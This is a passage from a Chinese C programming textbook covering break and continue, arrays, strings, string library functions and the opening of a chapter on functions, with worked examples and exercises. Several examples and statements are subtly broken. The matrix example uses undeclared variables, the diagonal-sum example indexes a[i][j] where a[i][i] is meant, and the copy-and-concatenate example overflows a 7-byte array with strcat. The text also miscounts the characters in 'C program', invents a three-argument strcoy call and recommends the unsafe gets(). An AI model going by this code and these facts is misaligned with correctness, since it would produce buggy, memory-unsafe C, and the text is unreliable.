只能在while、do-while、for循环语句或switch语句体内使用break语句，其作用是使得程序提前终止它所在的语句结构，转去执行下一条语句。若程序中有上述四种结构语句的嵌套使用，则break语句只能终止它所在的最内层的语句结构。

2.continue语句

continue语句只能在while、do-while和for循环语句中使用，其作用是提前结束多次循环中的某一次循环。即跳过本次循环中余下的尚未执行的部分循环体语句，提前进行下一次循环条件判定。其一般形式为：



continue;



continue语句和break语句的区别是：continue语句只结束本次循环，而不是终止整个循环的执行，而break语句则是结束循环，不再进行条件判断。如果有以下两个循环结构：



while(表达式1)

{

...

if(表达式2)break;

...

}





while(表达式1)

{

...

if(表达式2)continue;

...

}



上边程序的流程如图7-18所示，而下边程序的流程如图7-19所示。
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图　7-18　带break语句的循环结构
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图　7-19　带continue语句的循环结构

【例7-9】continue语句的使用

在循环体中使用continue语句，把100～120之间的不能被3整除的数输出。

[1]在Vi中创建一个新工程文件，命名为"example7_9.c"。

[2]在"example7_9.c"中创建如下代码。



#include＜stdio.h＞

main()

{int n;

for(n=100;n＜=120;n++)

{

if(n%3==0)

continue;

else

printf("%d\n",n);

}

}



[3]使用GCC编译并运行程序，结果如图7-20所示。
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图　7-20　continue语句的使用

当n能被3整除时，才执行continue语句，结束本次循环，只有n不能被3整除时才执行printf()函数。


7.5　实践拓展

1.while语句和for语句的比较

while语句和for语句相比，在清楚地要求在循环的顶部同时出现控制和下标处理的场合，for语句比switch语句更合适。

2.break语句和continue语句的区别

在循环语句中，当执行循环时，遇到break，就结束整个循环语句；遇到continue，就结束本次循环，即不再执行本次循环语句后面的语句，而转入下一次的循环。

3.关于小数运算技巧

浮点数运算既消耗时间又消耗系统的资源，因此应该尽量避免。在某种场合中，可以使用定点数来代替浮点数，其本质就是使用整型数据来代替浮点数，进行定点小数运算。定点小数和整型数的内存格式是一样的，区别在于整型数所表示的数据范围比较小。在程序中可以使用Q格式的定点数来表示浮点数。例如Q16格式的数据，小数点在数值的第16位上，如十六进制数0x32C000，小数点在3和2之间，实际为0x3.2C，转化为十进制小数为3.171875。

4.多分支语句的优化

C语言中有"if-else if"和"switch/case"两种多分支语句，将最可能发生的情况放在第一个，将最不可能的情况放在最后一个，可以提高分支语句的执行速度。

当情况多于四种时，switch/case比if-else if链更快。但是依据这种方法，switch/case语句有严重缺陷，对表达式的最小值到最大值中的每个可能的值都必须表示。所以当表达式的值不连续且间隔较大时，不适合使用switch/case语句，编译器很难对这种情况做优化处理。


7.6　思考与练习

1.编写一个程序，对字母表中的前三个字母在一个文件中出现的次数进行统计，不必区分字母的大小写。

2.编写一个程序，为n读取一个整型数值，如果n的值非负，计算从n到2*n的和，如果n为负数，计算2*n到n的和。采用两种方式编程，一种使用for循环，一种使用while循环。

3.输入一行小写字母后，将字母变成其下一字母（a变成b、b变成c、c变成d……x变成y、y变成z、z变成a）输出。

4.一个数如恰好等于它的因子之和，这个数就称为“完数”。编程找出1000以内的所有完数，并输出其因子。

5.写出下面代码的输出结果。



int i=5,j=6;

if(i==1)

if(j==2)

printf("%d\n",i=i+j);

else

printf("%d\n",i=i-j);

printf("%d\n",i);



6.写出下面代码的输出结果。



#include＜stdio.h＞

void main()

{

int k=0;

charc='A';

do

{

switch(c++)

{

case'A':k++;break;

case'B':k--;

case'C':k+=2;break;

case'D':k=k%2;break;

case'E':k=k*10;break;

default:k=k/3;

}

k++;

}

while(c＜'G');

printf("k=%d\n",k);

}




第8章　数组

本章要点：

C语言中的一维数组

C语言中的二维数组

字符数组和字符串


 8.1　一维数组

在程序设计中，为了处理方便，把具有相同类型的若干变量按有序的形式组织起来。这些按序排列的同类数据元素的集合称为数组。按数组元素的类型不同，数组又可分为数值数组、字符数组、指针数组、结构数组等。具有一个下标的数组称为一维数组。


 8.1.1　一维数组的定义和引用

1.一维数组的定义

一维数组的定义方式为：



类型说明符 数组名[常量表达式];



例如：



int a[10];



它表示数组名为a，此数组有10个元素。

说明：

1）数组名的命名规则和变量名相同，遵循标识符定名规则。

2）数组名后是用方括弧括起来的常量表达式，不能用圆括弧，下面用法不对。



int a(10);



3）常量表达式表示元素的个数，即数组长度。例如，a[6]中的6表示a数组有6个元素，下标从0开始，这6个元素是：a[0]，a[1]，a[2]，a[3]，a[4]，a[5]，注意不能使用数组元素a[6]。

4）常量表达式中可以包括常量和符号常量，不能包含变量。也就是说，C不允许对数组的大小作动态定义，即数组的大小不依赖于程序运行过程中变量的值。例如，下面这样定义数组是不行的：



int n;

scanf("%d",＆n);

int a[n];



C语言对数组不做越界检查，使用时要注意。

2.一维数组元素的引用

数组必须先定义，然后使用。C语言规定只能逐个引用数组元素，而不能一次引用整个数组。数组元素表示形式为：



数组名[下标]



其中，下标可以是整型常量或整型表达式。例如：



int a[10];

for(j=0;j＜10;j++)

printf("%d\t",a[j]);



迭代从数组元素a[0]开始，并迭代地依次处理每个元素，终止条件是j＜10，最后一个被处理的元素是a[9]。

【例8-1】应用数组求一组数据的最大、最小值

将10个整数存入数组，找出其中的最大值和最小值。

[1]在Vi中创建一个新工程文件，命名为"example8_1.c"。

[2]在"example8_1.c"中创建如下所示代码。



#include＜stdio.h＞

#define S 10

main()

{

int a[S],i,max,min;

printf("Enter 10 integers:\n");

for(i=0;i＜S;i++)

{

scanf("%d",＆a[i]);

}

max=min=a[0];

for(i=1;i＜S;i++)

{

if(max＜a[i])max=a[i];

if(min＞a[i])min=a[i];

}

printf("Maximum value is%d\n",max);

printf("Minimum value is%d\n",min);

}



[3]使用GCC编译并运行程序，结果如图8-1所示。
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图　8-1　求数组中元素的最大值和最小值

该程序使用for循环输入10个整数，先令max=min=a[0]，然后依次用a[i]与max、min作比较（循环），若max＜a[i]，令max=a[i]；若min＞a[i]，令min=a[i]，最后输出max和min。


8.1.2　一维数组元素的初始化

可以用赋值语句或输入语句将数组中的元素赋值，但占运行时间。可以使数组在运行之前初始化，即在编译阶段使之得到初值。对数组元素的初始化可以用以下方法实现。

1.在定义数组时对数组元素赋以初值

例如：



static int a[10]={0,1,2,3,4,5,6,7,8,8};



将数组元素的初值依次放在一对花括弧内。在int的前面有一个关键字static，它是“静态存储”的意思。C语言规定只有静态（static）数组和外部存储（extern）数组才能初始化。

经过上面的定义和初始化之后，a[0]=0，a[1]=1，a[2]=2，a[3]=3，a[4]=4，a[5]=5，a[6]=6，a[7]=7，a[8]=8，a[9]=8。

2.可以只给一部分元素赋值

例如：



static int a[10]={0,1,2,3,4};



定义a数组有10个元素，但花括弧内只提供5个初值，这表示只给前面5个元素赋初值，后5个元素值为0。

3.可以将数组中的元素全部赋为0

如果想使一个数组中的全部元素值为0，可以写成



static int a[10]={0,0,0,0,0,0,0,0,0,0};



不能写成



static int a[10]={0*10};



这与FORTRAN语言不同，不能给数组整体赋初值。其实，当对static数组不赋初值时，系统会对所有数组元素自动赋以0值。即



static int a[10];



则数组元素a[0]～a[9]都被置初值0。

4.在对全部数组元素赋初值时，可以不指定数组长度

例如：



static int a[5]={1,2,3,4,5};



可以写成



static int a[]={1,2,3,4,5};



在第二种写法中，花括弧中有5个数，系统就会据此自动定义a数组的长度为5。但若被定义的数组长度与提供初值的个数不相同，则数组长度不能省略。例如，想定义数组长度为10，就不能省略数组长度的定义，而必须写成



static int a[10]={1,2,3,4,5};



只初始化前5个元素，后5个元素值为0。

【例8-2】Fibonacci数列

用数组求Fibonacci数列问题。

[1]在Vi中创建一个新工程文件，命名为"example8_2.c"。

[2]在"example8_2.c"中创建如下所示代码。



main()

{

int i;

static int f[20]={1,1};

for(i=2;i＜20;i++)

f[i]=f[i-2]+f[i-1];

for(i=0;i＜20;i++)

{

if(i%5==0)

printf("\n");

printf("%12d",f[i]);

}

}



[3]使用GCC编译并运行程序，结果如图8-2所示。
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图　8-2　使用数组来输出Fibonacci数列

【例8-3】数的排序

用冒泡法对10个数按照从小到大的顺序排序。

[1]在Vi中创建一个新工程文件，命名为"example8_3.c"。

[2]在"example8_3.c"中创建如下所示代码。



main()

{

int a[11];

int i,j,t;

printf("input l0 numbers:\n");

for(i=1;i＜11;i++)

scanf("%d",＆a[i]);

printf("\n");

for(j=1;j＜=8;j++)

for(i=1;i＜=10-j;i++)

if(a[i]＞a[i+1])

{

t=a[i];

a[i]=a[i+1];

a[i+1]=t;

}

printf("the sorted numbers:\n");

for(i=1;i＜11;i++)

printf("%d",a[i]);

}



[3]使用GCC编译并运行程序，结果如图8-3所示。
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图　8-3　使用数组对数排序

用冒泡法的思路是：

[1]比较第一个数与第二个数，若为逆序a[0]＞a[1]，则交换；然后比较第二个数与第三个数；依次类推，直至第n-1个数和第n个数比较为止，结果最大的数被安置在最后一个元素位置上。这是第一趟冒泡排序。

[2]对前n-1个数进行第二趟冒泡排序，结果使次大的数被安置在第n-1个元素位置。

[3]重复上述过程，共经过n-1趟冒泡排序后，排序结束。该程序的执行如图8-4所示。
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图　8-4　冒泡法排序的程序框图


8.2　二维数组

具有两个下标的数组称为二维数组，在逻辑上二维数组相当于具有行和列的表格或矩阵。下面介绍二维数组的定义和引用，以及二维数组元素的初始化。


 8.2.1　二维数组的定义和引用

二维数组定义的一般形式为：



类型说明符 数组名[常量表达式][常量表达式];



两个常量表达式都用方括号括起来，第1个常量表达式称为矩阵的行数，第2个表达式称为矩阵的列数。二维数组元素的个数即为行数和列数的乘积。

例如：



int a[3][4];

float b[2][5];



定义a为3×4（3行4列）的数组，b为2×5（2行5列）的数组，注意不能写成



int a[3,4];

float b[2,5];



C语言对二维数组采用这样的定义方式，可以把二维数组看作是一种特殊的一维数组，它的元素又是一个一维数组。例如，可以把a[3][4]看作是一个一维数组，它有3个元素：



a[0] a[0][0] a[0][1] a[0][2] a[0][3]

a[1] a[1][0] a[1][1] a[1][2] a[1][3]

a[2] a[2][0] a[2][1] a[2][2] a[2][3]



a[0]、a[1]、a[2]的每个元素又是一个包含4个元素的一维数组，如图8-5所示。
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图　8-5　二维数组的定义

可以把a[0]、a[1]、a[2]看作三个一维数组的名字。上面定义的二维数组可以理解为定义了三个一维数组，即相当于



f1oat a[0][4],a[1][4],a[2][4];



此处把a[0]、a[1]、a[2]看作一维数组名。C语言的这种处理方法在数组初始化和用指针表示时显得很方便，这在以后会体会到。

C语言中，二维数组中元素排列的顺序是：按行存放，即在内存中先顺序存放第一行的元素，再存放第二行的元素。图8-6表示对a[3][4]数组存放的顺序。
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图　8-6　数组a[3][4]存放的顺序

C语言允许使用多维数组，有了二维数组的基础，多维数组是不难理解的。例如，定义三维数组的方法是：



float a[2][3][4];



多维数组元素在内存中的排列顺序为：第一维的下标变化最慢，最右边的下标变化最快。例如，上述三维数组的元素排列顺序为：



a[0][0][0]-＞a[0][0][1]-＞a[0][0][2]-＞a[0][0][3]-＞a[0][1][0]-＞a[0][1][1]-＞

a[0][1][2]-＞a[0][1][3]-＞a[0][2][0]-＞a[0][2][1]-＞a[0][2][2]-＞a[0][2][3]-＞

a[1][0][0]-＞a[1][0][1]-＞a[1][0][2]-＞a[1][0][3]-＞a[1][1][0]-＞a[1][1][1]-＞

a[1][1][2]-＞a[1][1][3]-＞a[1][2][0]-＞a[1][2][1]-＞a[1][2][2]-＞a[1][2][3]



二维数组的元素的表示形式为：



数组名[下标][下标]



如a[2][3]。下标可以是整型常量、整型变量或整型表达式，如a[4-1][8*2-5]。不要写成



a[5,5]或a[6-1,2*3-1]形式。



数组元素可以出现在表达式中，也可以被赋值，例如：



b[1][2]=a[2][3]/2;



在使用数组元素时，应该注意下标值应在已定义的数组大小的范围内。常出现的错误是：



int a[4][4];

...

a[4][4]=5;



定义a为4×4的数组，它可用的行下标值最大为3，列坐标值最大为3。用a[4][4]超过了数组的范围。

要严格区分在定义数组时用的a[3][4]和引用元素时的a[3][4]的区别。前者a[3][4]用来定义数组的维数和各维的大小，后者a[3][4]中的3和4是下标值，a[3][4]代表某一个元素。


8.2.2　二维数组元素的初始化

可以用下面的方法对二维数组初始化。

1.分行给二维数组赋初值



static int a[3][4]={{1,2,3,4},{5,6,7,8},{8,10,11,12}};



这种赋初值方法比较直观，把第一个花括弧内的数据赋给第一行的元素，第二个花括弧内的数据赋给第二行的元素，以此类推，即按行赋初值。

2.按数组排列的顺序对各元素赋值

可以将所有数据写在一个花括弧内，按数组排列的顺序对各元素赋初值。如：



static int a[3][4]={1,2,3,4,5,6,7,8,8,10,11,12};



效果与前相同。但以第一种方法为好，一行对一行，界清楚。用第二种方法如果数据多，写成一大片，容易遗漏，也不易检查。

3.可以对部分元素赋初值



static int a[3][4]={{1},{5},{8}};



它的作用是只对各行第1列的元素赋初值，其余元素值自动为0。赋初值后数组各元素为



1 0 0 0

5 0 0 0

8 0 0 0



也可以对各行中的某一元素赋初值：



static int a[3][4]={{1},{0,6},{0,0,11}};



初始化后的数组元素如下：



1 0 0 0

0 6 0 0

0 0 11 0



这种方法对非0元素少时比较方便，不必将所有的0都写出来，只需输入少量数据。

也可以只对某几行元素赋初值：



static int a[3][4]={{1},{5,6}};



数组元素为



1 0 0 0

5 6 0 0

0 0 0 0



第三行不赋初值。也可以对第二行不赋初值：



static int a[3][4]={{1},{},{8}};



注意，如果对全部元素都赋初值（即提供全部初始数据），则定义数组时对第一维的长度可以不指定，但第二维的长度不能省。如：



static int a[3][4]={1,2,3,4,5,6,7,8,8,10,11,12};



与下面的定义等价，



static int a[][4]={1,2,3,4,5,6,7,8,8,10,11,12};



系统会根据数据总个数分配存储空间，一共12个数据，每行4列，当然可确定为3行。

在定义时也可以只对部分元素赋初值而省略第一维的长度，但应分行赋初值。如：



static int a[][4]={{0,0,3},{},{0,10}};



这样的写法，能通知编译系统该数组共有3行。数组各元素为



0 0 3 0

0 0 0 0

0 10 0 0



从本节的介绍中可以看到，C语言在定义数组和表示数组元素时采用a[][]的方式，对数组初始化时十分有用，它使得概念清楚，运用方便，不易出错。

【例8-4】数组元素的行列互换

将一个二维数组的行和列元素互换，存到另一个二维数组中。

[1]在Vi中创建一个新工程文件，命名为"example8_4.c"。

[2]在"example8_4.c"中创建如下所示代码。



main()

{

static int a[2][3]={{1,2,3},{4,5,6}};

static int b[3][2],i,j;

printf("array a:\n");

for(i=0;i＜=1;i++)

{

for(j=0;j＜=2;j++)

{

printf("%5d",a[i][j]);

b[j][i]=a[i][j];

}

printf("\n");}

printf("array b:\n");

for(i=0;i＜=2;i++)

{

for(j=0;j＜=1;j++)

printf("%5d",b[i][j]);

printf("\n");

}

}



[3]使用GCC编译并运行程序，结果如图8-7所示。
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图　8-7　二维数组元素的互换

【例8-5】求矩阵中元素的最大值

有一个3×4的矩阵，要求编程序求出值最大的那个元素的值，以及其所在的行号和列号。

[1]在Vi中创建一个新工程文件，命名为"example8_5.c"。

[2]在"example8_5.c"中创建如下所示代码。



main()

{

int i,j,max;

row=0;

colum=0;

static int a[3][4]={{3,5,2,6},{8,11,4,7},{-10,22,12,-5}};

max=a[0][0];

for(i=0;i＜=2;i++)

for(j=0;j＜=3;j++)

if(a[i][j]＞max)

{

max=a[i][j];

row=i;colum=j;

}

printf("max=%d,row=%d,colum=%d\n",max,row,colum);

}



[3]使用GCC编译并运行程序，结果如图8-8所示。
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图　8-8　求二维数组中的最大元素


8.3　字符数组和字符串

用来存放字符数据的数组是字符数组。字符数组中的一个元素存放一个字符。


 8.3.1　字符数组

1.字符数组的定义

字符数组的定义方法与前面介绍的数值数组的定义方法类似，例如：



char c[11];

c[0]='H';c[1]='O';c[2]='W';c[3]='';c[4]='A';c[5]='R';c[6]='E';c[7]='';c[8]='Y';c[8]='O';c[10]='U';



定义c是含有11个元素的字符型一维数组，在赋值以后数组的状态如下所示。

H  O  W  \0  A  R  E  \0  Y  O  U

c[0] c[1] c[2] c[3] c[4] c[5] c[6] c[7] c[8] c[8] c[10]

其中“\0”表示空字符。

由于字符型与整型是互相通用的，因此上面的定义也可改为



int c[11];



2.字符数组的初始化

对字符数组初始化，最容易理解的方式是逐个将字符赋给数组中各元素。如



char diamond[][5]={{'','','*'},{'','*','','*'},{'*','','','','*'},{'','*','','*'},{'','','*'}};



表示对5行5列的字符数组diamond[][5]赋值，结果如图8-9所示。
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图　8-9　数组diamond[][5]的赋值结果

如果花括弧中提供的初值个数（即字符个数）大于数组长度，则作语法错误处理。如果初值个数小于数组长度，则只将这些字符赋给数组中前面那些元素，其余的元素自动定为空字符（即“\0”）。

如果提供的初值个数与预定的数组长度相同，在定义时可以省略数组长度，系统会自动根据初值个数确定数组长度。如：



static char c[]={'I','','a','m','','h','a','p','p','y'};



数组c的长度自动定义为10。用这种方式可以不必去数字符的个数，尤其在赋初值的字符个数较多时，比较方便。

3.字符数组的引用

可以引用字符数组中的一个元素，得到一个字符。

【例8-6】对矩阵对角元素求和

求一个3×3矩阵对角线元素之和。

[1]在Vi中创建一个新工程文件，命名为"example8_6.c"。

[2]在"example8_6.c"中创建如下所示代码。



main()

{

float a[3][3],sum=0;

int i,j;

printf("Please input matrix:\n");

for(i=0;i＜3;i++)

for(j=0;j＜3;j++)

scanf("%f",＆a[i][j]);

for(i=0;i＜3;i++)

sum=sum+a[i][j];

printf("对角元素之和=%6.2f",sum);

}



[3]使用GCC编译并运行程序，结果如图8-10所示。
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图　8-10　求矩阵的对角元素之和

【例8-7】打印杨辉三角形

本例要求编程打印出杨辉三角形（打印出10行）。

[1]在Vi中创建一个新工程文件，命名为"example8_7.c"。

[2]在"example8_7.c"中创建如下所示代码。



#define N 11

main()

{

int i,j,a[N][N];

for(i=1;i＜N;i++)

{

a[i][i]=1;

a[i][1]=1;

}

for(i=3;i＜N;i++)

for(j=2;j＜=i-1;j++)

a[i][j]=a[i-1][j-1]+a[i-1][j];

for(i=1;i＜N;i++)

{

for(j=1;j＜=i;j++)

printf("%6d",a[i][j]);

printf("\n");

}

printf("\n");

}



[3]使用GCC编译并运行程序，结果如图8-11所示。
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图　8-11　使用数组输出杨辉三角形


8.3.2　字符串和字符串结束标志

C语言不像其他语言那样有字符串变量功能。对字符串的处理，C语言只能通过字符数组进行。字符串是指若干个C语言规定的有效字符序列。这里有效字符包括字母、数字、专用字符和转义字符等。在C语言中规定，字符串是用英文双引号括起来的字符序列，也称为字符串常量。例如，下面都是合法的字符串。



"hello","y_name","321","No4","x+y","%d\n"



为了方便处理字符串，C语言有效地利用了字符数组。在每个字符数组中有效字符的后面即字符串末尾加上一个特殊字符‘\0’作为字符串的结束标志。在处理字符数组的过程中，一旦遇到特殊字符‘\0’就表示已经到了字符串的末尾，即字符串结束。系统对字符串常量也自动加一个‘\0’作为结束符。例如"C program"共有8个字符，但内存中占10个字节，最后一个字节放‘\0’，字符串作为一维数组来存放。

有了结束标志‘\0’后，字符数组的长度就显得不那么重要了。在程序中往往依靠检测‘\0’来判定字符串是否结束而不是根据数组长度来决定字符串长度。当然，在定义字符数组时应估计实际字符串长度，使数组长度始终保证大于字符串实际长度。如果在一个字符数组中先后存放多个不同长度的字符串，则应使数组长度大于最长的字符串的长度。

需要说明的是，‘\0’代表ASCⅡ码为0的字符，从ASCⅡ码表中可以查到，ASCⅡ码为0的字符不是一个可以显示的字符，而是一个“空操作符”，即它什么也不干。用它来作字符串结束标志不会产生附加的操作或增加有效字符，只起辨别作用。


8.3.3　字符串处理函数

在C语言的函数库中提供了一些用来处理字符串的函数，使用方便。几乎所有版本的C都提供这些函数，下面介绍几种常用的函数。

1.字符串输出函数puts()

将一个字符串（以‘\0’结束的字符序列）输出到终端。使用时必须使用#include＜stdio.h＞。假如已定义str是一个字符数组名，该数组已被初始化为"Hello"，则执行



puts(str);



其结果是在终端上输出：Hello。由于可以用printf()函数输出字符串，因此puts()函数用得不多。

2.字符串输入函数gets()

从终端输入一个字符串到字符数组，并且得到一个函数值，该函数值是字符数组的起始地址。使用时必须使用#include＜stdio.h＞。函数调用如



gets(str);



注意，用puts()和gets()函数只能输入或输出一个字符串，不能写成：puts（str1，str2）或gets（strl,str2）。

3.字符串连接函数strcat()

该函数的调用形式为：



strcat(str1,str2);



连接两个字符数组中的字符串，把字符串Str2接到字符串str1的后面，结果放在字符数组str1中，函数调用后得到的是字符数组str1的地址。使用时必须使用#include＜string.h＞。例如：



static char str1[30]={"People's Republic of"};

static char str2[]={"China"};

printf("%s",strcat(strl,str2));



输出：



People's Republic of China



说明：

1）字符数组1必须足够大，以便容纳连接后的新字符串。

2）连接前两个字符串的后面都有一个‘\0’，连接时将字符串1后面的‘\0’取消，只在新串最后保留一个‘\0’。

4.字符串复制函数strcpy()

该函数的调用形式为：



strcpy(str1,str2);



它的作用是将字符串str2复制到字符数组str1中去。例如：



static char str1[10],str2[]={"China"};

strcpy(str1,str2);



执行后，strl的内容为China\0\0\0\0\0。

说明：

1）字符数组1必须定义得足够大，以便容纳被复制的字符串。字符数组1的长度不应小于字符串2的长度。

2）字符数组1必须写成数组名的形式（如strl），字符串2可以是字符数组名，也可以是一个字符串常量。如



strcpy(str1,"China");



作用与前相同。

3）复制时连同字符串后面的‘\0’一起复制到字符数组1中。

4）不能用赋值语句将一个字符串常量或字符数组直接赋给一个字符数组。如下面的写法是不合法的：



strl={"China"};

strl=str2;



而只能用strcpy()函数来处理。用赋值语句只能将一个字符赋给一个字符型变量或字符数组元素。

5）可以用strcpy()函数将字符串2中前面若干个字符复制到字符数组1中。例如：



strcoy(str1,str2,2);



作用是将str2中前面2个字符复制到strl中，然后再加一个‘\0’。

【例8-8】字符串的复制和连接

本例使用函数strcpy()和函数strcat()来进行字符串的复制和连接。

[1]在Vi中创建一个新工程文件，命名为"example8_8.c"。

[2]在"example8_8.c"中创建如下所示代码。



#include＜string.h＞

#include＜stdio.h＞

void main()

{

char str1[30];

char str2[]="hello!",str3[]="How are you!";

strcpy(str1,str2);

strcat(str2,str3);

printf("%s\n",str1);

printf("%s\n",str2);

}



[3]使用GCC编译并运行程序，结果如图8-12所示。
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图　8-12　字符串的复制和连接

5.字符串比较函数strcmp()

调用形式为：



strcmp(str1,str2);



作用是比较字符串str1和字符串str2的大小。例如：



strcmp("China","Korea");

strcmp(str1,"Beijing");



字符串比较的规则与其他语言中相同，即对两个字符串自左至右逐个字符作比较（按ASCⅡ码值大小比较），直到出现不同的字符或遇到‘\0’为止。如全部字符相同，则认为相等；若出现不相同的字符，则以第一个不相同的字符的比较结果为准。比较的结果由函数值带回。

·如果字符串1=字符串2，函数值为0。

·如果字符串1＞字符串2，函数值为一正整数。

·如果字符串1＜字符串2，函数值为一负整数。

6.求字符串长度函数strlen()

调用形式：



strlen(str);



此函数计算字符串的长度，函数的值为字符串的实际长度，不包括‘\0’在内。如：



static char str[10]={"Beijing"};

printf("%d",strlen(str));



输出结果不是10，也不是8，而是7。

7.大写字母转小写字母函数strlwr()

调用形式：



strlwr(str);



该函数的功能是将字符串str中的大写字母转换成小写字母，其中lwr是1owercase（小写）的缩写。

8.小写字母转换成大写字母函数strupr()

调用形式：



strupr(str);



该函数的功能是将字符串str中的小写字母转换成大写字母。其中upr是uppercase（大写）的缩写。

【例8-9】字符串的连接、复制、求长度

编写程序实现字符串的连接、复制以及求长度运算。

[1]在Vi中创建一个新工程文件，命名为"example8_9.c"。

[2]在"example8_9.c"中创建如下所示代码。



#include＜string.h＞

#include＜stdio.h＞

main()

{

char str1[]="I am Chinese!",str2[]="Where are you from?",str[50];

int len1,len2,len3;

len1=strlen(str1);

len2=strlen(str2);

if(strcmp(str1,str2)＞0)

{

strcpy(str,str1);

strcat(str,str2);

}

else if(strcmp(str1,str2)＜0)

{

strcpy(str,str2);

strcat(str,str1);

}

else strcpy(str,str1);

len3=strlen(str);

puts(str);

printf("Len1=%d,Len2=%d,Len3=%d\n",len1,len2,len3);

}



[3]使用GCC编译并运行程序，结果如图8-13所示。
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图　8-13　字符串的连接、复制和求长度

以上介绍了常用的8种字符串处理函数，应当再次强调，库函数并非C语言本身的组成部分，而是人们为使用方便而编写、提供使用的公共函数。每个系统提供的函数数量和函数名、函数功能都不尽相同，使用时要小心，必要时查一下库函数手册。详细的函数的概念将在下一章介绍。


8.4　实践拓展

1.数组的初始化

数组的存储类型可以是auto、extern或是static，但是不能是register，在传统的C语言中，只有外部和静态数组可以进行初始化，在ANSI C中，自动数组也可以进行初始化。

2.字符串化操作符“#”的使用技巧

在GCC编译系统中，可以使用“#”将当前的内容转换成字符串。例如



#define ptr(str1)printf("x=%d\n",#str1)



#str1表示根据宏中的参数生成一个字符串。

3.数组使用中不能以数组名代表数组中的全部元素

如以下程序中，printf()函数中的语句就是错误的，不能达到输出数组中全部元素的目的。



{

int x[3]={3,2,1};

printf("%d%d%d",x);

}



在声明中使用了方括号“[]”，它告诉编译器它前面的标识符是个数组，方括号内的整型表达式指定了数组的长度。


8.5　思考与练习

1.输入两个数组（数组元素个数自定），输出在两个数组中都出现的元素。

2.编程，将字符数组S2中的全部字符复制到字符数组S1中（不用strcpy()函数）。

3.编写一个函数，处理n行、n列的二维数组：将每一行的元素同除以该行上绝对值最大的元素。

4.编写函数，求m行、n列的二维数组全体元素中负数的个数。

5.阅读下列程序，将程序运行时的输出结果写出来。



#include＜stdio.h＞

void main()

{

int a[8]={1,0,1,0,1,0,1,0},i;

for(i=2;i＜8;i++)a[i]+=a[i-1]+a[i-2];

for(i=0;i＜8;i++)printf("%d",a[i]);

printf("\n");

}



6.阅读下列程序，将程序运行时的输出结果写出来。



#include＜stdio.h＞

void main()

{

int a[6]={12,4,17,25,27,16},b[6]={27,13,4,25,23,16},i,j;

for(i=0;i＜6;i++)

{

for(j=0;j＜6;j++)if(a[i]==b[j])break;

if(j＜6)printf("%d",a[i]);

}

printf("\n");

}




第9章　函数、编译预处理

本章要点：

函数的概念

函数的定义和调用

函数的返回值

函数的参数及其传递方式

函数的嵌套调用和递归调用

变量的作用域及其存储类型

内部函数和外部函数

编译预处理


 9.1　函数的概念

图9-1是一个程序中函数调用的示意图。
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图　9-1　程序中函数调用的示意图

在程序设计中，往往将一些常用的功能模块编写成函数，放在函数库中供公共选用。利用函数可以减少重复编写程序段的工作量。

【例9-1】函数调用，打印输出

下面设计一个函数调用的程序示例，给出函数调用的过程。

[1]在Vi中创建一个新工程文件，命名为"example9_1.c"。

[2]在"example9_1.c"中创建如下所示代码。



main()

{

printstar();/*调用printstar函数*/

print_message();/*调用print_message函数*/

printstar();/*调用printstar函数*/

}

printstar()/*printstar函数*/

{

printf("********************\n");

}

print_message()/*print_message函数*/

{

printf("how are you!\n");

}



[3]编译并运行程序，结果如图9-2所示。
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图　9-2　函数调用运行结果

printstar()和print_message()都是用户定义的函数名，分别用来输出一排星号和一行信息。

说明：

1）一个源程序文件由一个或多个函数组成。一个源程序文件是一个编译单位，即以源文件为单位进行编译，而不是以函数为单位进行编译。

2）一个C程序由一个或多个源程序文件组成。对较大的程序，一般不希望全放在一个文件中，而将函数和其他内容（如预定义）分别放到若干个源文件中，再由若干源文件组成一个C程序。这样可以分别编写，分别编译，提高调试效率。一个源文件可以为多个C程序共用。

3）C程序的执行从main()函数开始，调用其他函数后流程回到main()函数，在main()函数中结束整个程序的运行。main()函数是系统定义的。

4）所有函数都是平行的，即在定义函数时是互相独立的，一个函数并不从属于另一函数，即函数不能嵌套定义（这是和PASCAL不同的），但可以互相调用，但不能调用main()函数。

5）从用户使用的角度看，函数有两种。

·标准函数：即库函数。这是由系统提供的，用户不必自己定义这些函数，可以直接使用它们。需要说明的是，每个系统提供的库函数的数量和功能不同，当然有一些基本的函数是共同的。

·用户自己定义的函数：以解决用户的专门需要。

6）从函数的形式看，函数分两类。

·无参函数：如例9-1中的printstar()和print_message()就是无参函数。在调用无参函数时，主调函数并不将数据传送给被调用函数，一般用来执行指定的一组操作。无参函数可以带回或不带回函数值，但一般不带回函数值的居多。

·有参函数：在调用函数时，在主调函数和被调用函数之间有参数传递，也就是说，主调函数可以将数据传给被调用函数使用，被调用函数中的数据也可以带回来供主调函数使用。


9.2　函数的定义和调用

函数是具有一定功能的语句块。编写函数的目的是为了以后方便调用它。下面介绍函数的定义和调用。


 9.2.1　函数的定义

1.无参函数的定义形式



类型标识符 函数名()

{

说明部分

语句

}



例9-1中的printstar()和print_message()函数都是无参函数。无参函数一般不需要带回函数值，因此可以不写类型标识符。

函数的类型标识符是调用函数时返回的类型，可以是任何基本数据类型或指针。当函数不返回任何值时函数的返回类型应定义为void，如果在定义函数时没有指明返回类型，Linux上的GCC编译器默认返回类型为int。

2.有参函数定义的一般形式



类型标识符 函数名(形式参数表列)

形式参数说明

{

说明部分

语句

}



例如：



int max(x,y)

int x,y;/*形式参数说明*/

{

int z;/*函数体中的说明部分*/

z=x＞y?x:y;

return(z);

}



这是一个求x和y二者中大者的函数，x和y为形式参数，从主调函数的实际参数把参数值传递给被调用函数中的形式参数x和y，第二行"int x,y"是对形式参数作类型说明，指定x和y为整型。花括弧内是函数体，它包括说明部分和语句部分。在函数体的语句中求出z的值（为x与y中大者），return语句的作用是将z的值作为函数值带回到主调函数中。return后面的括弧中的值作为函数带回的值（或称函数返回值）。在函数定义时已指定max()函数为整型，与在函数体中定义它为整型是一致的形式参数是函数的操作数，形参与形参之间以逗号隔开。函数执行运算的部分是函数体，在函数体内可以定义变量，对形式参数进行操作，返回数据等。

3.空函数

在C语言中，还可以有“空函数”，它的形式为：



类型说明符 函数名()

{

}



例如



dummy()

{

}



